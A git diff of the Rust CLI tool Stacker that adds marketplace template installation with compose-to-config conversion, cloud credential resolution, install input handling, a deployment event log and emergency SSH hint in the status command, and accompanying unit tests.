+        let compose: dctypes::Compose = serde_yaml::from_str(yaml_str).ok()?;
+
+        let project_name = response.template.slug.clone();
+        let mut config = serde_yaml::Mapping::new();
+        config.insert("name".into(), serde_yaml::Value::String(project_name));
+
+        let mut svc_map = serde_yaml::Mapping::new();
+        for (svc_name, svc_opt) in &compose.services.0 {
+            let Some(service) = svc_opt.as_ref() else { continue };
+            let mut out = serde_yaml::Mapping::new();
+
+            // image
+            if let Some(image) = &service.image {
+                out.insert("image".into(), serde_yaml::Value::String(image.clone()));
+            }
+
+            // ports: follow the same conversion pattern as builder.rs
+            let ports: Vec<String> = match &service.ports {
+                dctypes::Ports::Short(list) => list.clone(),
+                dctypes::Ports::Long(list) => list
+                    .iter()
+                    .map(|p| {
+                        let host = p
+                            .host_ip
+                            .as_ref()
+                            .map(|h| format!("{}:", h))
+                            .unwrap_or_default();
+                        let published = p
+                            .published
+                            .as_ref()
+                            .map(|pp| match pp {
+                                dctypes::PublishedPort::Single(n) => n.to_string(),
+                                dctypes::PublishedPort::Range(s) => s.clone(),
+                            })
+                            .unwrap_or_default();
+                        format!("{}{}:{}", host, published, p.target)
+                    })
+                    .collect(),
+            };
+            if !ports.is_empty() {
+                let yaml_ports: Vec<serde_yaml::Value> = ports
+                    .into_iter()
+                    .map(serde_yaml::Value::String)
+                    .collect();
+                out.insert("ports".into(), serde_yaml::Value::Sequence(yaml_ports));
+            }
+
+            // volumes
+            let volumes: Vec<String> = service
+                .volumes
+                .iter()
+                .filter_map(|v| match v {
+                    dctypes::Volumes::Simple(s) => Some(s.clone()),
+                    dctypes::Volumes::Advanced(adv) => Some(format!(
+                        "{}:{}",
+                        adv.source.as_deref().unwrap_or(""),
+                        &adv.target
+                    )),
+                })
+                .collect();
+            if !volumes.is_empty() {
+                let yaml_vols: Vec<serde_yaml::Value> = volumes
+                    .into_iter()
+                    .map(serde_yaml::Value::String)
+                    .collect();
+                out.insert("volumes".into(), serde_yaml::Value::Sequence(yaml_vols));
+            }
+
+            // environment
+            let env_map: serde_yaml::Mapping = match &service.environment {
+                dctypes::Environment::List(list) => list
+                    .iter()
+                    .filter_map(|entry| {
+                        entry.split_once('=').map(|(k, v)| {
+                            (
+                                serde_yaml::Value::String(k.to_string()),
+                                serde_yaml::Value::String(v.to_string()),
+                            )
+                        })
+                    })
+                    .collect(),
+                dctypes::Environment::KvPair(map) => map
+                    .iter()
+                    .map(|(k, v)| {
+                        let val = v
+                            .as_ref()
+                            .map(|sv| match sv {
+                                dctypes::SingleValue::String(s) => s.clone(),
+                                dctypes::SingleValue::Bool(b) => b.to_string(),
+                                dctypes::SingleValue::Unsigned(n) => n.to_string(),
+                                dctypes::SingleValue::Signed(n) => n.to_string(),
+                                dctypes::SingleValue::Float(f) => f.to_string(),
+                            })
+                            .unwrap_or_default();
+                        (
+                            serde_yaml::Value::String(k.clone()),
+                            serde_yaml::Value::String(val),
+                        )
+                    })
+                    .collect(),
+            };
+            if !env_map.is_empty() {
+                out.insert(
+                    "environment".into(),
+                    serde_yaml::Value::Mapping(env_map),
+                );
+            }
+
+            // depends_on: simple list of strings
+            let depends: Vec<String> = match &service.depends_on {
+                dctypes::DependsOnOptions::Simple(list) => list.clone(),
+                dctypes::DependsOnOptions::Conditional(map) => {
+                    map.keys().cloned().collect()
+                }
+            };
+            if !depends.is_empty() {
+                let yaml_dep: Vec<serde_yaml::Value> = depends
+                    .into_iter()
+                    .map(serde_yaml::Value::String)
+                    .collect();
+                out.insert(
+                    "depends_on".into(),
+                    serde_yaml::Value::Sequence(yaml_dep),
+                );
+            }
+
+            svc_map.insert(
+                serde_yaml::Value::String(svc_name.clone()),
+                serde_yaml::Value::Mapping(out),
+            );
+        }
+        if !svc_map.is_empty() {
+            config.insert("services".into(), serde_yaml::Value::Mapping(svc_map));
+        }
+
+        return serde_yaml::to_string(&config).ok();
+    }
+
+    None
+}
+
+fn confirm_stacker_file_write(file: &std::path::Path) -> Result<bool, CliError> {
+    let action = if file.exists() { "update" } else { "create" };
+    Confirm::new()
+        .with_prompt(format!(
+            "Stacker wants to {} {} in the current directory. Allow?",
+            action,
+            file.display()
+        ))
+        .default(false)
+        .interact()
+        .map_err(|err| CliError::ConfigValidation(format!("Failed to read confirmation: {}", err)))
+}
+
+async fn catalog_app_needs_deploy_context(
+    client: &StackerClient,
+    template: &str,
+) -> Result<bool, CliError> {
+    // DB-backed marketplace templates can install standalone.
+    if client.get_marketplace_template(template).await?.is_some() {
+        return Ok(false);
+    }
+
+    // Otherwise check whether this is a known catalog application.
+    let applications = client
+        .search_marketplace_templates(Some(template), None, None, Some(10))
+        .await?;
+    Ok(applications
+        .iter()
+        .any(|application| marketplace_template_matches_slug(application, template)))
+}
+
+fn confirm_generate_stacker_file(file: &Path, template: &str) -> Result<bool, CliError> {
+    Confirm::new()
+        .with_prompt(format!(
+            "Stacker wants to create {} in the current directory with defaults to install and deploy '{}' to the cloud. Allow?",
+            file.display(),
+            template
+        ))
+        .default(true)
+        .interact()
+        .map_err(|err| CliError::ConfigValidation(format!("Failed to read confirmation: {}", err)))
+}
+
+fn cloud_provider_from_code(code: &str) -> Option<crate::cli::config_parser::CloudProvider> {
+    use crate::cli::config_parser::CloudProvider;
+    match code.to_lowercase().as_str() {
+        "htz" | "hetzner" => Some(CloudProvider::Hetzner),
+        "do" | "digitalocean" => Some(CloudProvider::Digitalocean),
+        "aws" => Some(CloudProvider::Aws),
+        "lo" | "linode" => Some(CloudProvider::Linode),
+        "vu" | "vultr" => Some(CloudProvider::Vultr),
+        "cnt" | "contabo" => Some(CloudProvider::Contabo),
+        _ => None,
+    }
+}
+
+async fn generate_minimal_install_config(
+    client: &StackerClient,
+    template: &str,
+    name: Option<&str>,
+    domain: Option<&str>,
+) -> Result<StackerConfig, CliError> {
+    use crate::cli::config_parser::{CloudConfig, DeployTarget};
+
+    let mut config = StackerConfig::default();
+    config.name = name
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .unwrap_or(template)
+        .to_string();
+    config.project.identity = Some(template.to_string());
+    if let Some(domain) = domain.map(str::trim).filter(|value| !value.is_empty()) {
+        config.install.inputs.insert(
+            "commonDomain".to_string(),
+            Value::String(domain.to_ascii_lowercase()),
+        );
+    }
+
+    // Install implies remote deployment. Resolve the user's default cloud
+    // credential (first one returned by /cloud); if none is configured, ask
+    // the user to connect a cloud provider first instead of silently
+    // falling back to local.
+    let clouds = client.list_clouds().await?;
+    let cloud_info = clouds.into_iter().next().ok_or_else(|| {
+        CliError::ConfigValidation(
+            "No cloud connections found. Connect one with `stacker config cloud add` (or `stacker login`) and retry.".to_string(),
+        )
+    })?;
+    let provider = cloud_provider_from_code(&cloud_info.provider).ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Unsupported cloud provider '{}' on default cloud '{}'.",
+            cloud_info.provider, cloud_info.name
+        ))
+    })?;
+    eprintln!(
+        "Using cloud connection '{}' (provider: {}).",
+        cloud_info.name, cloud_info.provider
+    );
+
+    let cloud_config = CloudConfig {
+        provider,
+        orchestrator: Default::default(),
+        region: None,
+        size: None,
+        install_image: None,
+        remote_payload_file: None,
+        ssh_key: None,
+        key: Some(cloud_info.name.clone()),
+        server: None,
+        public_ports: Vec::new(),
+    };
+
+    // Auto-generated stacker.yml never reuses an existing server. A fresh
+    // server is always provisioned on the resolved cloud. To reuse an
+    // existing one, set `deploy.cloud.server: <name>` in stacker.yml.
+    eprintln!("A fresh server will be provisioned on this cloud.");
+
+    config.deploy.target = DeployTarget::Cloud;
+    config.deploy.cloud = Some(cloud_config);
+    Ok(config)
+}
+
+fn marketplace_template_matches_slug(template: &MarketplaceTemplate, slug: &str) -> bool {
+    template.slug.eq_ignore_ascii_case(slug)
+}
+
+fn normalize_install_input_key(key: &str) -> String {
+    match key.trim() {
+        "domain" | "base_domain" => "commonDomain".to_string(),
+        other => other.to_string(),
+    }
+}
+
+fn parse_set_value(entry: &str) -> Result<(String, Value), CliError> {
+    let (key, value) = entry.split_once('=').ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Invalid --set value '{}'. Expected KEY=VALUE.",
+            entry
+        ))
+    })?;
+    let key = normalize_install_input_key(key);
+    if key.trim().is_empty() {
+        return Err(CliError::ConfigValidation(
+            "Invalid --set value: key cannot be empty".to_string(),
+        ));
+    }
+    Ok((key, Value::String(value.trim().to_string())))
+}
+
+fn resolve_install_inputs(
+    mut inputs: Map<String, Value>,
+    domain: Option<&str>,
+    set_values: &[String],
+) -> Result<Map<String, Value>, CliError> {
+    if let Some(value) = inputs.remove("base_domain") {
+        inputs.entry("commonDomain".to_string()).or_insert(value);
+    }
+    if let Some(value) = inputs.remove("domain") {
+        inputs.entry("commonDomain".to_string()).or_insert(value);
+    }
+    if let Some(domain) = domain.map(str::trim).filter(|value| !value.is_empty()) {
+        inputs.insert(
+            "commonDomain".to_string(),
+            Value::String(domain.to_ascii_lowercase()),
+        );
+    }
+    for entry in set_values {
+        let (key, value) = parse_set_value(entry)?;
+        inputs.insert(key, value);
+    }
+    Ok(inputs)
+}
+
+fn apply_install_inputs_to_deploy_form(form: &mut Value, inputs: &Map<String, Value>) {
+    if inputs.is_empty() {
+        return;
+    }
+    if let Some(common_domain) = inputs.get("commonDomain").cloned() {
+        if let Some(obj) = form.as_object_mut() {
+            obj.insert("commonDomain".to_string(), common_domain);
+        }
+    }
+    let Some(stack) = form
+        .get_mut("stack")
+        .and_then(|value| value.as_object_mut())
+    else {
+        return;
+    };
+    let vars = stack
+        .entry("vars".to_string())
+        .or_insert_with(|| Value::Array(Vec::new()));
+    let Some(vars) = vars.as_array_mut() else {
+        return;
+    };
+    for (key, value) in inputs {
+        vars.retain(|entry| entry.get("key").and_then(Value::as_str) != Some(key.as_str()));
+        vars.push(serde_json::json!({ "key": key, "value": value }));
+    }
+}
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // marketplace status
@@ -199,6 +1003,31 @@ impl CallableTrait for MarketplaceLogsCommand {
 
 // ── helpers ──────────────────────────────────────────
 
+/// Format the plan/price column for display.
+/// Shows `required_plan_name` if set, otherwise formats `price` with currency,
+/// or "free" if neither indicates a paid template.
+fn display_plan(template: &MarketplaceTemplate) -> String {
+    if let Some(plan) = template.required_plan_name.as_deref().filter(|p| !p.is_empty()) {
+        return plan.to_string();
+    }
+    if let Some(price) = template.price {
+        if price > 0.0 {
+            let cycle = template
+                .billing_cycle
+                .as_deref()
+                .unwrap_or("/mo");
+            let cycle = match cycle {
+                "one_time" | "one-time" | "once" | "free" => "",
+                "monthly" | "month" | "/mo" => "/mo",
+                "yearly" | "year" | "/yr" => "/yr",
+                other => other,
+            };
+            return format!("${:.2}{}", price, cycle);
+        }
+    }
+    "free".to_string()
+}
+
 /// Truncate a string to `max_len` characters, adding "..." if truncated.
 fn truncate(s: &str, max_len: usize) -> String {
     if s.chars().count() > max_len {
@@ -208,3 +1037,168 @@ fn truncate(s: &str, max_len: usize) -> String {
         s.to_string()
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        apply_install_inputs_to_deploy_form, marketplace_template_matches_slug,
+        resolve_install_inputs, response_stack_definition,
+    };
+    use crate::cli::stacker_client::{
+        MarketplaceInstallResponse, MarketplaceTemplate, ProjectInfo,
+    };
+    use serde_json::{json, Map, Value};
+
+    #[test]
+    fn install_domain_populates_common_domain_and_stack_vars() {
+        let inputs = resolve_install_inputs(Map::new(), Some("DIFY.COM"), &[])
+            .expect("inputs should resolve");
+        assert_eq!(inputs.get("commonDomain"), Some(&json!("dify.com")));
+
+        let mut form = json!({
+            "stack": {
+                "stack_code": "dify",
+                "vars": []
+            }
+        });
+        apply_install_inputs_to_deploy_form(&mut form, &inputs);
+
+        assert_eq!(form["commonDomain"], json!("dify.com"));
+        assert_eq!(
+            form["stack"]["vars"],
+            json!([{ "key": "commonDomain", "value": "dify.com" }])
+        );
+    }
+
+    #[test]
+    fn install_inputs_normalize_base_domain_and_cli_overrides_win() {
+        let mut config_inputs = Map::new();
+        config_inputs.insert("base_domain".to_string(), json!("example.com"));
+        config_inputs.insert("admin_email".to_string(), json!("admin@example.com"));
+
+        let inputs = resolve_install_inputs(
+            config_inputs,
+            Some("dify.com"),
+            &[
+                "admin_email=owner@dify.com".to_string(),
+                "public_domain=app.dify.com".to_string(),
+            ],
+        )
+        .expect("inputs should resolve");
+
+        assert_eq!(inputs.get("commonDomain"), Some(&json!("dify.com")));
+        assert_eq!(inputs.get("admin_email"), Some(&json!("owner@dify.com")));
+        assert_eq!(inputs.get("public_domain"), Some(&json!("app.dify.com")));
+        assert!(!inputs.contains_key("base_domain"));
+    }
+
+    #[test]
+    fn apply_install_inputs_replaces_existing_vars() {
+        let mut inputs = Map::new();
+        inputs.insert("commonDomain".to_string(), json!("new.example.com"));
+        inputs.insert("admin_email".to_string(), json!("admin@new.example.com"));
+        let mut form = json!({
+            "stack": {
+                "vars": [
+                    { "key": "commonDomain", "value": "old.example.com" },
+                    { "key": "keep", "value": "yes" }
+                ]
+            }
+        });
+
+        apply_install_inputs_to_deploy_form(&mut form, &inputs);
+
+        let vars = form["stack"]["vars"]
+            .as_array()
+            .expect("vars should be array");
+        assert_eq!(
+            vars.iter()
+                .filter(|entry| entry.get("key") == Some(&Value::String("commonDomain".to_string())))
+                .count(),
+            1
+        );
+        assert!(vars.contains(&json!({ "key": "keep", "value": "yes" })));
+        assert!(vars.contains(&json!({ "key": "commonDomain", "value": "new.example.com" })));
+        assert!(vars.contains(&json!({ "key": "admin_email", "value": "admin@new.example.com" })));
+    }
+
+    #[test]
+    fn response_stack_definition_ignores_null_or_missing_definitions() {
+        let mut response = marketplace_install_response(json!({ "stack_definition": null }));
+        assert!(response_stack_definition(&response).is_none());
+
+        response.latest_version = json!({});
+        assert!(response_stack_definition(&response).is_none());
+    }
+
+    #[test]
+    fn response_stack_definition_accepts_object_definitions() {
+        let response = marketplace_install_response(json!({
+            "stack_definition": {
+                "project": { "name": "dify" }
+            }
+        }));
+
+        let result = response_stack_definition(&response);
+        assert!(result.is_some());
+        let yaml = result.unwrap();
+        assert!(yaml.contains("project:"));
+        assert!(yaml.contains("name: dify"));
+    }
+
+    #[test]
+    fn response_stack_definition_accepts_string_definitions() {
+        let compose = "version: '3'\nservices:\n  app:\n    image: nginx\n";
+        let response = marketplace_install_response(json!({
+            "stack_definition": compose
+        }));
+
+        let result = response_stack_definition(&response);
+        assert!(result.is_some());
+        let yaml = result.unwrap();
+        // Should be converted to stacker config format (name added from template slug)
+        assert!(yaml.contains("name: dify"));
+        assert!(yaml.contains("image: nginx"));
+    }
+
+    #[test]
+    fn marketplace_template_slug_match_is_case_insensitive() {
+        let template = marketplace_template("Dify");
+
+        assert!(marketplace_template_matches_slug(&template, "dify"));
+        assert!(!marketplace_template_matches_slug(&template, "wordpress"));
+    }
+
+    fn marketplace_install_response(latest_version: Value) -> MarketplaceInstallResponse {
+        MarketplaceInstallResponse {
+            project: ProjectInfo {
+                id: 92,
+                name: "dify".to_string(),
+                user_id: "user-1".to_string(),
+                metadata: json!({}),
+                created_at: "2026-06-16T14:29:38Z".to_string(),
+                updated_at: "2026-06-16T14:29:38Z".to_string(),
+            },
+            template: marketplace_template("dify"),
+            latest_version,
+            deployment_id: None,
+        }
+    }
+
+    fn marketplace_template(slug: &str) -> MarketplaceTemplate {
+        MarketplaceTemplate {
+            id: None,
+            slug: slug.to_string(),
+            name: slug.to_string(),
+            description: None,
+            category_code: None,
+            tags: json!(null),
+            status: None,
+            required_plan_name: None,
+            price: None,
+            billing_cycle: None,
+            is_from_marketplace: None,
+            stack_definition: None,
+        }
+    }
+}
diff --git a/src/console/commands/cli/secrets.rs b/src/console/commands/cli/secrets.rs
index a37f2760..d419d1c4 100644
--- a/src/console/commands/cli/secrets.rs
+++ b/src/console/commands/cli/secrets.rs
@@ -1519,6 +1519,7 @@ mod tests {
             services: vec![service_definition("upload")],
             proxy: Default::default(),
             deploy: Default::default(),
+            install: Default::default(),
             environments: Default::default(),
             ai: Default::default(),
             monitoring: Default::default(),
@@ -1526,6 +1527,7 @@ mod tests {
             env_file: None,
             env: Default::default(),
             config_contract: Default::default(),
+            origin: Default::default(),
         };
 
         assert_eq!(
diff --git a/src/console/commands/cli/ssh_key.rs b/src/console/commands/cli/ssh_key.rs
index fd7c50cb..9e08a099 100644
--- a/src/console/commands/cli/ssh_key.rs
+++ b/src/console/commands/cli/ssh_key.rs
@@ -232,6 +232,10 @@ fn default_backup_ssh_dir() -> PathBuf {
         .unwrap_or_else(|| PathBuf::from("stacker").join("ssh"))
 }
 
+pub fn local_backup_private_key_path(server_id: i32) -> PathBuf {
+    backup_key_paths_for_server(server_id, &default_backup_ssh_dir()).0
+}
+
 fn backup_key_paths_for_server(server_id: i32, ssh_dir: &Path) -> (PathBuf, PathBuf) {
     let private_key_path = ssh_dir.join(format!("server-{}_ed25519", server_id));
     let public_key_path = PathBuf::from(format!("{}.pub", private_key_path.display()));
@@ -341,7 +345,7 @@ fn set_private_file_permissions(_path: &Path) -> Result<(), CliError> {
     Ok(())
 }
 
-fn format_ssh_command(private_key_path: &Path, user: &str, host: &str, port: u16) -> String {
+pub fn format_ssh_command(private_key_path: &Path, user: &str, host: &str, port: u16) -> String {
     format!(
         "ssh -i {} -p {} {}@{}",
         private_key_path.display(),
diff --git a/src/console/commands/cli/status.rs b/src/console/commands/cli/status.rs
index 4fc714b7..6b08b95a 100644
--- a/src/console/commands/cli/status.rs
+++ b/src/console/commands/cli/status.rs
@@ -6,6 +6,8 @@ use crate::cli::error::CliError;
 use crate::cli::install_runner::{CommandExecutor, CommandOutput, ShellExecutor};
 use crate::cli::local_compose::resolve_local_compose_path;
 use crate::cli::stacker_client::{self, DeploymentStatusInfo, ServerInfo, StackerClient};
+use crate::services::{DeploymentEvent, DeploymentEventClassification, DeploymentEventFeed};
+use crate::console::commands::cli::ssh_key::{format_ssh_command, local_backup_private_key_path};
 use crate::console::commands::CallableTrait;
 
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
@@ -77,6 +79,70 @@ struct StatusContext<'a> {
     server: Option<&'a ServerInfo>,
     config: Option<&'a StackerConfig>,
     live_containers: Option<&'a [serde_json::Value]>,
+    events: Option<&'a DeploymentEventFeed>,
+}
+
+/// Strip Python/paramiko noise lines from a raw install-service error message.
+///
+/// The install service emits CryptographyDeprecationWarning and Ansible preamble
+/// before the actual error. This function keeps only lines that look meaningful:
+/// no `WARNING:`, no `CryptographyDeprecation`, no `import` paths, no blank lines.
+fn clean_status_message(raw: &str) -> String {
+    let noise_prefixes = [
+        "/root/.local/lib/python",
+        "  \"cipher\":",
+        "  \"class\":",
+        "CryptographyDeprecationWarning",
+        "[WARNING]:",
+        "warnings.warn(",
+        "import warnings",
+    ];
+
+    let meaningful: Vec<&str> = raw
+        .lines()
+        .filter(|line| {
+            let trimmed = line.trim();
+            !trimmed.is_empty()
+                && !noise_prefixes.iter().any(|prefix| trimmed.starts_with(prefix))
+        })
+        .collect();
+
+    // If filtering left nothing, return the original (truncated to 400 chars)
+    if meaningful.is_empty() {
+        return raw.chars().take(400).collect();
+    }
+
+    meaningful.join("\n")
+}
+
+/// Format a deployment event for display in the status timeline.
+fn format_event_line(event: &DeploymentEvent) -> String {
+    use crate::services::deployment_events::DeploymentEventClassification;
+    let icon = match event.classification {
+        DeploymentEventClassification::Success => "✓",
+        DeploymentEventClassification::Failure => "✗",
+        DeploymentEventClassification::Progress => "→",
+        DeploymentEventClassification::Info => "·",
+    };
+    let ts = event.occurred_at.format("%H:%M:%S");
+    format!("  {} [{}] {}", icon, ts, event.summary)
+}
+
+fn emergency_ssh_command(server: &ServerInfo) -> Option<String> {
+    let ip = server.srv_ip.as_deref()?;
+    let private_key_path = local_backup_private_key_path(server.id);
+    if !private_key_path.exists() {
+        return None;
+    }
+
+    let ssh_user = server.ssh_user.as_deref().unwrap_or("root");
+    let ssh_port = server.ssh_port.unwrap_or(22) as u16;
+    Some(format_ssh_command(
+        &private_key_path,
+        ssh_user,
+        ip,
+        ssh_port,
+    ))
 }
 
 /// Pretty-print a deployment status with optional server/config context.
@@ -104,7 +170,12 @@ fn print_deployment_status_rich(info: &DeploymentStatusInfo, json: bool, ctx: &S
         status_icon, info.id, info.status
     );
     if let Some(ref msg) = info.status_message {
-        println!("  Message:         {}", msg);
+        let cleaned = clean_status_message(msg);
+        // For paused/failed show truncated summary here; full detail in the events section
+        let preview: String = cleaned.lines().next().unwrap_or("").chars().take(120).collect();
+        if !preview.is_empty() {
+            println!("  Message:         {}", preview);
+        }
     }
     println!("  Project ID:      {}", info.project_id);
     println!("  Deployment hash: {}", info.deployment_hash);
@@ -116,11 +187,43 @@ fn print_deployment_status_rich(info: &DeploymentStatusInfo, json: bool, ctx: &S
         return;
     }
 
+    // ── Deployment events timeline ───────────────
+    if let Some(feed) = ctx.events {
+        if !feed.events.is_empty() {
+            println!("\n── Deployment Log ─────────────────────────");
+            // Show last 20 events; for failures highlight the failure events
+            let show_from = feed.events.len().saturating_sub(20);
+            for event in &feed.events[show_from..] {
+                println!("{}", format_event_line(event));
+            }
+        }
+    }
+
+    // ── Full error detail (paused / failed) ─────
+    let is_failure = matches!(info.status.as_str(), "paused" | "failed" | "error");
+    if is_failure {
+        if let Some(ref msg) = info.status_message {
+            let cleaned = clean_status_message(msg);
+            // Only show if it's multi-line or the preview was truncated
+            if cleaned.lines().count() > 1 || cleaned.len() > 120 {
+                println!("\n── Error Detail ───────────────────────────");
+                for line in cleaned.lines().take(30) {
+                    println!("  {}", line);
+                }
+                if cleaned.lines().count() > 30 {
+                    println!("  … (truncated, use `stacker deployment events` for full log)");
+                }
+            }
+        }
+    }
+
     // ── Server info ─────────────────────────────
     if let Some(srv) = ctx.server {
         println!("\n── Server ─────────────────────────────────");
         if let Some(ref name) = srv.name {
-            println!("  Name:            {}", name);
+            println!("  Name:            {} (id={})", name, srv.id);
+        } else {
+            println!("  ID:              {}", srv.id);
         }
         if let Some(ref ip) = srv.srv_ip {
             println!("  IP:              {}", ip);
@@ -138,6 +241,9 @@ fn print_deployment_status_rich(info: &DeploymentStatusInfo, json: bool, ctx: &S
         if let Some(ref region) = srv.region {
             println!("  Region:          {}", region);
         }
+        if let Some(command) = emergency_ssh_command(srv) {
+            println!("  Emergency SSH:   {}", command);
+        }
     }
 
     if let Some(containers) = ctx.live_containers {
@@ -204,19 +310,51 @@ fn print_deployment_status_rich(info: &DeploymentStatusInfo, json: bool, ctx: &S
         }
 
         // ── Next steps ──────────────────────────────
-        if info.status == "completed" {
-            println!("\n── Next Steps ─────────────────────────────");
-            println!("  • Check service health:   stacker status --watch");
-            println!("  • View logs:              stacker logs");
-            if config.proxy.proxy_type != ProxyType::None && !config.proxy.domains.is_empty() {
-                println!("  • Manage proxy:           stacker proxy");
+        println!("\n── Next Steps ─────────────────────────────");
+        match info.status.as_str() {
+            "completed" => {
+                println!("  • Check service health:   stacker status --watch");
+                println!("  • View logs:              stacker logs");
+                if config.proxy.proxy_type != ProxyType::None && !config.proxy.domains.is_empty() {
+                    println!("  • Manage proxy:           stacker proxy");
+                }
+                println!(
+                    "  • Redeploy:               stacker deploy --target {}",
+                    config.deploy.target
+                );
+                println!("\n── Documentation ──────────────────────────");
+                println!(
+                    "  https://github.com/trydirect/stacker/blob/main/docs/STACKER_YML_REFERENCE.md"
+                );
             }
-            println!(
-                "  • Redeploy:               stacker deploy --target {}",
-                config.deploy.target
-            );
-            println!("\n── Documentation ──────────────────────────");
-            println!("  https://try.direct/docs");
+            "paused" | "failed" | "error" => {
+                println!("  • Full event log:         stacker deployment events");
+                println!(
+                    "  • Retry deploy:           stacker deploy --target {}",
+                    config.deploy.target
+                );
+                // If this is an intranet server, nudge them toward agent install
+                let is_intranet = config
+                    .deploy
+                    .server
+                    .as_ref()
+                    .map(|s| crate::helpers::ip::is_private_host(&s.host))
+                    .unwrap_or(false);
+                if is_intranet {
+                    println!("  • Install agent (intranet): stacker agent install");
+                    println!("    (allows future deploys without Stacker cloud install service)");
+                }
+                println!("  • SSH to server:          {}", {
+                    ctx.server
+                        .and_then(|s| s.srv_ip.as_deref())
+                        .map(|ip| {
+                            let user = ctx.server.and_then(|s| s.ssh_user.as_deref()).unwrap_or("root");
+                            format!("ssh {}@{}", user, ip)
+                        })
+                        .unwrap_or_else(|| "see Server section above".to_string())
+                });
+            }
+            _ => {}
         }
     }
 
@@ -308,6 +446,7 @@ fn run_remote_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::
                     server: None,
                     config: Some(&config),
                     live_containers: None,
+                    events: None,
                 };
                 if !watch {
                     let status = client.get_deployment_by_hash(deployment_hash).await?;
@@ -357,6 +496,7 @@ fn run_remote_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::
                                     config: Some(&config),
                                     live_containers: (!live_containers.is_empty())
                                         .then_some(live_containers.as_slice()),
+                                    events: None,
                                 };
                                 print_deployment_status_rich(&info, json, &ctx);
                                 last_status = info.status.clone();
@@ -412,11 +552,22 @@ fn run_remote_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::
                         .ok()
                         .map(|(snapshot, _)| snapshot_containers(&snapshot))
                         .unwrap_or_default();
+                    // Fetch events for terminal states so the user can see what went wrong
+                    let events = if is_terminal(&info.status) {
+                        client
+                            .get_deployment_events_by_hash(&info.deployment_hash)
+                            .await
+                            .ok()
+                            .flatten()
+                    } else {
+                        None
+                    };
                     let ctx = StatusContext {
                         server: server.as_ref(),
                         config: Some(&config),
                         live_containers: (!live_containers.is_empty())
                             .then_some(live_containers.as_slice()),
+                        events: events.as_ref(),
                     };
                     print_deployment_status_rich(&info, json, &ctx);
                     Ok(())
@@ -457,11 +608,21 @@ fn run_remote_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::
                         let message_changed = info.status_message != last_message;
                         let containers_changed = container_sig != last_containers;
                         if status_changed || message_changed || containers_changed {
+                            let events = if is_terminal(&info.status) {
+                                client
+                                    .get_deployment_events_by_hash(&info.deployment_hash)
+                                    .await
+                                    .ok()
+                                    .flatten()
+                            } else {
+                                None
+                            };
                             let ctx = StatusContext {
                                 server: server.as_ref(),
                                 config: Some(&config),
                                 live_containers: (!live_containers.is_empty())
                                     .then_some(live_containers.as_slice()),
+                                events: events.as_ref(),
                             };
                             print_deployment_status_rich(&info, json, &ctx);
                             last_status = info.status.clone();
@@ -555,7 +716,13 @@ impl CallableTrait for StatusCommand {
 mod tests {
     use super::*;
     use crate::cli::deployment_lock::DeploymentLock;
+    use crate::cli::stacker_client::ServerInfo;
     use chrono::{Duration, Utc};
+    use std::sync::Mutex;
+
+    // Serialise tests that mutate XDG_CONFIG_HOME to prevent races when
+    // cargo runs lib tests in parallel threads.
+    static ENV_LOCK: Mutex<()> = Mutex::new(());
 
     #[test]
     fn test_status_local_constructs_query() {
@@ -789,6 +956,72 @@ deploy:
         assert_eq!(resolve_stacker_base_url(&creds), "https://api.try.direct");
     }
 
+    #[test]
+    fn test_emergency_ssh_command_uses_local_backup_key_when_present() {
+        let _guard = ENV_LOCK.lock().unwrap();
+        let temp_home = tempfile::TempDir::new().unwrap();
+        std::env::set_var("XDG_CONFIG_HOME", temp_home.path());
+
+        let ssh_dir = temp_home.path().join("stacker/ssh");
+        std::fs::create_dir_all(&ssh_dir).unwrap();
+        let private_key_path = ssh_dir.join("server-92_ed25519");
+        std::fs::write(&private_key_path, "PRIVATE KEY").unwrap();
+
+        let server = ServerInfo {
+            id: 92,
+            user_id: "user".to_string(),
+            project_id: 7,
+            cloud_id: None,
+            cloud: Some("hetzner".to_string()),
+            region: Some("fsn1".to_string()),
+            zone: None,
+            server: Some("cx22".to_string()),
+            os: None,
+            disk_type: None,
+            srv_ip: Some("178.105.133.10".to_string()),
+            ssh_port: Some(22),
+            ssh_user: Some("root".to_string()),
+            name: Some("status-web".to_string()),
+            vault_key_path: None,
+            connection_mode: "ssh".to_string(),
+            key_status: "active".to_string(),
+        };
+
+        let command = emergency_ssh_command(&server).expect("ssh command should be available");
+        assert!(command.contains("server-92_ed25519"));
+        assert!(command.contains("root@178.105.133.10"));
+        assert!(command.contains(" -p 22 "));
+    }
+
+    #[test]
+    fn test_emergency_ssh_command_is_absent_without_local_backup_key() {
+        let _guard = ENV_LOCK.lock().unwrap();
+        let temp_home = tempfile::TempDir::new().unwrap();
+        std::env::set_var("XDG_CONFIG_HOME", temp_home.path());
+
+        let server = ServerInfo {
+            id: 93,
+            user_id: "user".to_string(),
+            project_id: 7,
+            cloud_id: None,
+            cloud: Some("hetzner".to_string()),
+            region: Some("fsn1".to_string()),
+            zone: None,
+            server: Some("cx22".to_string()),
+            os: None,
+            disk_type: None,
+            srv_ip: Some("178.105.133.11".to_string()),
+            ssh_port: Some(22),
+            ssh_user: Some("root".to_string()),
+            name: Some("status-web".to_string()),
+            vault_key_path: None,
+            connection_mode: "ssh".to_string(),
+            key_status: "active".to_string(),
+        };
+
+        assert!(emergency_ssh_command(&server).is_none());
+    }
+
     #[test]
     fn test_missing_remote_project_reason_mentions_active_stacker_api() {
         let reason = missing_remote_project_reason(
diff --git a/src/console/commands/cli/whoami.rs b/src/console/commands/cli/whoami.rs
index fe59b9e3..797d0815 100644
--- a/src/console/commands/cli/whoami.rs
+++ b/src/console/commands/cli/whoami.rs
@@ -2,6 +2,10 @@ use std::path::Path;
 
 use crate::cli::credentials::{CredentialsManager, StoredCredentials};
 use crate::cli::deployment_lock::DeploymentLock;
+use crate::cli::user_config::UserConfig;
+use crate::connectors::user_service::plan::{
+    get_subscription_plan_blocking, subscription_plan_lines, user_service_url_from_sources,
+};
 use crate::console::commands::CallableTrait;
 
 pub struct WhoamiCommand;
